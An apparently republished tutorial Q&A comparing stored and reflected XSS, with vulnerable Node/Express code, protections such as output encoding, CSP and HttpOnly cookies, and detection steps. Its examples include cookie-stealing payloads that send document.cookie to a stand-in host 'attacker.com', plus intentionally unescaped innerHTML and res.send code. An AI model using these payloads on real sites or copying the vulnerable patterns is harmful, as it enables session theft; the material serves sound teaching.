乐闻世界logo
搜索文章和话题

What is the difference between Stored XSS and Reflected XSS?

2月21日 16:23

Answer

Stored XSS and Reflected XSS are two common types of XSS attacks with significant differences in attack methods, severity, and protection strategies.

Stored XSS

Attack Principle: Stored XSS, also known as Persistent XSS, occurs when an attacker submits malicious scripts to a target server, and the server stores the malicious data in a database or other persistent storage. When other users visit pages containing this malicious data, the server returns the malicious script as part of the response, which is then executed in the user's browser.

Attack Flow:

  1. Attacker injects malicious scripts in places that store user input (e.g., comment sections, forum posts, user profiles)
  2. Server stores the malicious script in the database
  3. When other users visit pages containing the malicious content, the server reads and returns the malicious script from the database
  4. Browser executes the malicious script, causing the attack

Attack Example:

html
<!-- Attacker submits in comment section --> <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>

Characteristics:

  • Persistence: Malicious scripts are permanently stored on the server until deleted
  • Automatic propagation: All users visiting the page are affected
  • Highest risk: Attackers don't need to trick users into clicking specific links
  • Wide attack scope: Can affect a large number of users
  • Difficult to detect: Attacks may go unnoticed for a long time

Common Scenarios:

  • Comment sections, message boards
  • Forum posts
  • User profiles (nickname, signature, etc.)
  • Customer service chat records
  • Email systems

Reflected XSS

Attack Principle: Reflected XSS, also known as Non-persistent XSS, occurs when an attacker constructs a URL containing malicious scripts and tricks users into clicking it. When users visit the URL, the server receives the request parameters and "reflects" the malicious script back in the response, executing it in the user's browser.

Attack Flow:

  1. Attacker constructs a URL containing malicious scripts
  2. Attacker tricks users into clicking the URL through phishing emails, social media, etc.
  3. User clicks the link and sends a request to the server
  4. Server receives request parameters and includes the malicious script in the response
  5. Browser executes the malicious script, causing the attack

Attack Example:

shell
http://example.com/search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

Characteristics:

  • Non-persistence: Malicious scripts are not stored on the server, only exist in the URL
  • Requires user interaction: Must trick users into clicking malicious links
  • Limited attack scope: Only affects users who click the link
  • Easy to detect: Malicious scripts in URLs are easily discoverable
  • Short attack duration: Attack ends when user closes the page

Common Scenarios:

  • Search functionality
  • Error pages
  • Form submission feedback pages
  • Redirect pages
  • Login pages

Detailed Comparison

FeatureStored XSSReflected XSS
PersistencePersistent, stored on serverNon-persistent, only in URL
Attack triggerUser visits infected pageUser clicks malicious link
Attack scopeAll users visiting the pageOnly users clicking the link
SeverityHighMedium
Attack difficultyMedium (need to find storage point)Low (only need to find reflection point)
Protection difficultyHigh (strict input validation and output encoding required)Medium (mainly relies on output encoding)
Detection difficultyDifficult (may be in backend)Easy (URL is visible)
Social engineering neededLowHigh (need to trick users)

Real Code Examples

Stored XSS Example:

javascript
// Unsafe stored XSS vulnerability code app.post('/api/comments', (req, res) => { const { content } = req.body; // Directly store user input without any validation or encoding db.query('INSERT INTO comments (content) VALUES (?)', [content]); res.json({ success: true }); }); app.get('/api/comments', (req, res) => { const comments = db.query('SELECT content FROM comments'); // Directly return user input without encoding res.json(comments); }); // Frontend rendering function renderComments() { fetch('/api/comments') .then(res => res.json()) .then(comments => { comments.forEach(comment => { // Dangerous: directly insert user content using innerHTML document.getElementById('comments').innerHTML += `<div>${comment.content}</div>`; }); }); }

Reflected XSS Example:

javascript
// Unsafe reflected XSS vulnerability code app.get('/search', (req, res) => { const query = req.query.q; // Dangerous: directly insert user input into response res.send(` <html> <body> <h1>Search Results: ${query}</h1> <p>No results found</p> </body> </html> `); });

Protection Strategies

Stored XSS Protection:

  1. Strict input validation

    javascript
    function sanitizeInput(input) { return input.replace(/[<>]/g, ''); }
  2. Output encoding

    javascript
    function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&amp;") .replace(/</g, "&lt;") .replace(/>/g, "&gt;") .replace(/"/g, "&quot;") .replace(/'/g, "&#039;"); }
  3. Use safe APIs

    javascript
    // Unsafe element.innerHTML = userInput; // Safe element.textContent = userInput;

Reflected XSS Protection:

  1. URL parameter validation and encoding

    javascript
    app.get('/search', (req, res) => { const query = escapeHtml(req.query.q); res.send(`<h1>Search Results: ${query}</h1>`); });
  2. Use Content Security Policy

    shell
    Content-Security-Policy: default-src 'self'; script-src 'self'
  3. Set HttpOnly Cookie

    javascript
    res.cookie('sessionId', sessionId, { httpOnly: true });

Detection Methods

Stored XSS Detection:

  1. Submit test script in comment section: <script>alert(1)</script>
  2. Visit the page and check if alert box appears
  3. Use automated tools to scan for stored XSS vulnerabilities

Reflected XSS Detection:

  1. Inject test script in URL parameters
  2. Check if response contains unencoded scripts
  3. Use browser developer tools to inspect response content

Summary

Stored XSS and Reflected XSS are both XSS attacks, but they differ significantly in attack methods, severity, and protection strategies. Stored XSS is more dangerous because it can automatically propagate and affect many users, while Reflected XSS requires social engineering to trick users into clicking links. In actual development, all user input should be strictly validated and encoded, safe APIs should be used, and multi-layer protection strategies should be implemented to prevent both types of XSS attacks.

标签:XSS